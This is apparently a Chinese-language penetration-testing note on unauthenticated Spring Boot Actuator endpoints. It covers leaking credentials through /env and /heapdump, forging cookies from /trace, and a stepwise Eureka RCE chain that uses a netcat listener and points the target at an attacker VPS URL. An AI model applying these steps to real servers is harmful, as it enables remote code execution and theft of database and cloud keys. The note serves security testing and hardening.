Spring Boot Actuator 未授权访问
漏洞概述¶
Actuator是Spring Boot提供的服务监控和管理中间件,默认配置会出现接口未授权访问,部分接口会泄露网站流量信息和内存信息等,使用Jolokia库特性甚至可以远程执行任意代码,获取服务器权限。
影响范围¶
Spring Boot < 1.5 默认未授权访问所有端点
端点功能描述¶
每个端点的功能描述
路径 描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)
Spring Boot 1.x 版本端点在根URL下注册
http://xxx.com/env
Spring Boot 2.x 版本端点移动到/actuator/路径
http://xxx.com/actuator/env
实战中端点可能存放在多级目录下
端点利用¶
端点 | 利用方式 |
---|---|
trace | 获取到近期服务器收到的请求信息,伪造cookie进行登录 |
env | 数据库账户等环境配置信息泄漏 |
heapdump | 信息下载 |
env端点配置不当造成RCE¶
条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix)
比如测试前台json报错泄露包名就是使用 netflix
需要以下两个包
spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依赖)
1、在vps服务器运行恶意构造的脚本
python env.py
2、在VPS用NC监听
nc -lvnp 1234
3、写入配置,访问/env端点
抓包将get请求改为post请求,post内容为(该ip为脚本启动的机器的ip):
eureka.client.serviceUrl.defaultZone=http://VPS-IP:2222/xstream
然后再访问/refresh,抓包将get请求更改为post请求,post数据随意
POST /refresh
SpringBoot heapdump信息泄露利用¶
SpringBoot heapdump可下载,导致泄露数据库连接信息以及Ali OSS key信息
1、访问以下路径能成功下载 heapdump
https://xxx.com//actuator/heapdump
2、使用VisualVM打开heapdump文件
点击Objects查看泄露的信息(可过滤)
得到alioss key之后即可使用OSS Browser登录到**OSS**